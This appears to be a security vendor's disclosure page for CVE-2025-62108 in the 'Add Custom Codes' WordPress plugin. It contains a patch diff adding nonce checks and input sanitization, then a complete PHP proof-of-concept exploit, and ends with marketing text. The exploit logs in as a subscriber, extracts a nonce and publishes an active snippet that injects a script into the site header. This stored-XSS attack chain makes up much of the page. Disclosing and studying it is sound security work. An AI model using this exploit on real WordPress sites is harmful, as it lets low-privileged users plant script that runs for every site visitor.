-    $export_scope = $_POST['export_scope'] ?? 'all';
-    $exclude_drafts = isset($_POST['exclude_drafts']);
+    check_admin_referer('accodes_export_snippets', 'accodes_export_nonce');
+
+    $export_scope = isset( $_POST['export_scope'] ) ? sanitize_text_field( wp_unslash( $_POST['export_scope'] ) ) : 'all';
+    $exclude_drafts = isset( $_POST['exclude_drafts'] );

     $args = [
         'post_type' => 'accodes_snippets',
@@ -57,16 +65,39 @@
         wp_die('Permission denied');
     }

-    if (!isset($_FILES['accodes_import_file']) || $_FILES['accodes_import_file']['error'] !== UPLOAD_ERR_OK) {
-        wp_redirect(admin_url('admin.php?page=accodes-import-export&import=failed'));
+    check_admin_referer('accodes_import_snippets', 'accodes_import_nonce');
+
+    // Validate uploaded file array indexes before use. Rely on the upload error index and
+    // `wp_handle_upload()` to safely move and validate the uploaded file.
+    if ( empty( $_FILES['accodes_import_file'] ) || ! isset( $_FILES['accodes_import_file']['error'] ) || $_FILES['accodes_import_file']['error'] !== UPLOAD_ERR_OK ) {
+        wp_safe_redirect( esc_url_raw( admin_url('admin.php?page=accodes-import-export&import=failed') ) );
+        exit;
+    }
+
+    // Move uploaded file into WordPress uploads directory for safe handling.
+    require_once ABSPATH . 'wp-admin/includes/file.php';
+    $overrides = [
+        'test_form' => false,
+        'mimes' => [ 'json' => 'application/json', 'txt' => 'text/plain' ],
+    ];
+    $move = wp_handle_upload( $_FILES['accodes_import_file'], $overrides );
+    if ( isset( $move['error'] ) || empty( $move['file'] ) ) {
+        wp_safe_redirect( esc_url_raw( admin_url('admin.php?page=accodes-import-export&import=failed') ) );
         exit;
     }

-    $json = file_get_contents($_FILES['accodes_import_file']['tmp_name']);
+    $file_path = $move['file'];
+    $json = file_get_contents( $file_path );
+    // Clean up the moved file after reading.
+    if ( function_exists( 'wp_delete_file' ) ) {
+        wp_delete_file( $file_path );
+    } else {
+        @unlink( $file_path );
+    }
     $snippets = json_decode($json, true);

     if (!is_array($snippets)) {
-        wp_redirect(admin_url('admin.php?page=accodes-import-export&import=invalid'));
+        wp_safe_redirect( esc_url_raw( admin_url('admin.php?page=accodes-import-export&import=invalid') ) );
         exit;
     }

@@ -90,16 +121,18 @@
         }
     }

-    wp_redirect(admin_url('admin.php?page=accodes-import-export&import=success&count=' . $imported_count));
+    wp_safe_redirect( esc_url_raw( admin_url('admin.php?page=accodes-import-export&import=success&count=' . (int) $imported_count) ) );
     exit;
 });

 function accodes_import_export_page_callback() {
-    $status = $_GET['import'] ?? '';
-    $count = intval($_GET['count'] ?? 0);
+    // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- values come from redirect parameters after verified handlers
+    $status = isset( $_GET['import'] ) ? sanitize_text_field( wp_unslash( $_GET['import'] ) ) : '';
+    // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+    $count = isset( $_GET['count'] ) ? intval( wp_unslash( $_GET['count'] ) ) : 0;

     if ($status === 'success') {
-        echo '<div class="notice notice-success is-dismissible"><p>Import completed! (' . $count . ' snippets)</p></div>';
+        echo '<div class="notice notice-success is-dismissible"><p>Import completed! (' . esc_html( (string) $count ) . ' snippets)</p></div>';
     } elseif ($status === 'failed') {
         echo '<div class="notice notice-error is-dismissible"><p>File upload failed. Please try again.</p></div>';
     } elseif ($status === 'invalid') {
@@ -113,8 +146,9 @@
     ?>
     <div class="accodes-export-box white-import-export">
         <h2>Export Snippets</h2>
-        <form method="post" action="<?php echo admin_url('admin-post.php'); ?>">
+        <form method="post" action="<?php echo esc_url( admin_url('admin-post.php') ); ?>">
             <input type="hidden" name="action" value="accodes_export_snippets">
+            <?php wp_nonce_field('accodes_export_snippets', 'accodes_export_nonce'); ?>
             <p><strong>Which snippets to export?</strong></p>
             <label><input type="radio" name="export_scope" value="all" checked> Export All Snippets</label><br>
             <label><input type="radio" name="export_scope" value="active"> Export only Active Snippets</label>
@@ -125,8 +159,9 @@
     <hr/>
     <div class="accodes-import-box white-import-export">
 		<h2>Import Snippets</h2>
-        <form method="post" action="<?php echo admin_url('admin-post.php'); ?>" enctype="multipart/form-data">
+        <form method="post" action="<?php echo esc_url( admin_url('admin-post.php') ); ?>" enctype="multipart/form-data">
             <input type="hidden" name="action" value="accodes_import_snippets">
+            <?php wp_nonce_field('accodes_import_snippets', 'accodes_import_nonce'); ?>
             <input type="file" name="accodes_import_file" accept=".json" required>
             <button class="button">Import Now</button>
         </form>
--- a/add-custom-codes/taxonomy-meta.php
+++ b/add-custom-codes/taxonomy-meta.php
@@ -5,12 +5,12 @@
 }
 ?>

-<?php $taxonomy_obj = get_taxonomy($taxonomy);
-if ($taxonomy_obj) {
-    $taxonomy_name = $taxonomy_obj->labels->singular_name;
+<?php $accodes_taxonomy_obj = get_taxonomy( $taxonomy );
+if ( $accodes_taxonomy_obj ) {
+	$accodes_taxonomy_name = $accodes_taxonomy_obj->labels->singular_name;
 }  ?>
 <div class="acc-ind-col-1 accodes-taxonomy-edit">
-	<?php echo "<h4>Add custom codes to this ".esc_html($taxonomy_name)."</h4>"; ?>
+	<?php echo "<h4>Add custom codes to this ".esc_html( $accodes_taxonomy_name )."</h4>"; ?>
 	<?php wp_nonce_field('accodes_save_tax_meta', 'accodes_tax_meta_nonce'); ?>

 		<fieldset class="accodes_ind_field">

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62108 - Add Custom Codes <= 4.80 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2025-62108.
 * Demonstrates unauthorized creation of a custom code snippet.
 * Requires valid subscriber (or higher) WordPress credentials.
 */

$target_url = 'https://vulnerable-site.example.com'; // CHANGE THIS
$username   = 'subscriber_user';                     // CHANGE THIS
$password   = 'subscriber_pass';                     // CHANGE THIS

// Step 1: Authenticate and obtain WordPress nonce and cookies
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

// Create a temporary cookie jar
$cookie_jar = tempnam(sys_get_temp_dir(), 'cve_cookie');

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $admin_url,
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_jar,
    CURLOPT_COOKIEFILE => $cookie_jar,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_SSL_VERIFYPEER => false, // For testing only
    CURLOPT_SSL_VERIFYHOST => 0
]);

$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Access the snippet creation page to get a nonce
$new_snippet_url = $target_url . '/wp-admin/post-new.php?post_type=accodes_snippets';
curl_setopt_array($ch, [
    CURLOPT_URL => $new_snippet_url,
    CURLOPT_POST => false,
    CURLOPT_HTTPGET => true
]);

$response = curl_exec($ch);

// Extract the nonce from the page (simplified pattern match)
$nonce = '';
if (preg_match('/name="accodes_snippet_meta_nonce" value="([a-f0-9]+)"/', $response, $matches)) {
    $nonce = $matches[1];
} else {
    // Fallback: try to extract from other meta fields
    if (preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches)) {
        $nonce = $matches[1];
    } else {
        die('Could not extract required nonce. The user may not have access or the page structure changed.');
    }
}

// Step 3: Create a malicious snippet via POST
$post_url = $target_url . '/wp-admin/post.php';
$post_data = [
    'post_type' => 'accodes_snippets',
    'post_title' => 'Atomic Edge Test Snippet',
    'content' => '', // Snippet content is stored in meta, not post content
    'accodes_snippet_meta_nonce' => $nonce,
    'accodes_code_editor' => '<script>alert("XSS via CVE-2025-62108");</script>',
    'accodes_snippet_language' => 'htmlmixed',
    'accodes_snippet_location' => 'head', // Inject into site header
    'accodes_snippet_active' => '1',
    'accodes_snippet_notes' => 'Injected via PoC',
    'accodes_tags[]' => 'test,exploit',
    'action' => 'editpost',
    'post_status' => 'publish',
    'publish' => 'Publish',
    '_wp_http_referer' => '/wp-admin/post-new.php?post_type=accodes_snippets'
];

curl_setopt_array($ch, [
    CURLOPT_URL => $post_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_REFERER => $new_snippet_url
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Clean up cookie jar
unlink($cookie_jar);

// Step 4: Verify exploitation
if ($http_code === 200 && strpos($response, 'Post published.') !== false) {
    echo "SUCCESS: Malicious snippet created and published.n";
    echo "Visit the site frontend to see the XSS alert execute in the header.n";
} else if ($http_code === 403) {
    echo "FAIL: Access denied. The site may be patched or user lacks permissions.n";
} else {
    echo "UNKNOWN: HTTP $http_code received. Check response for details.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School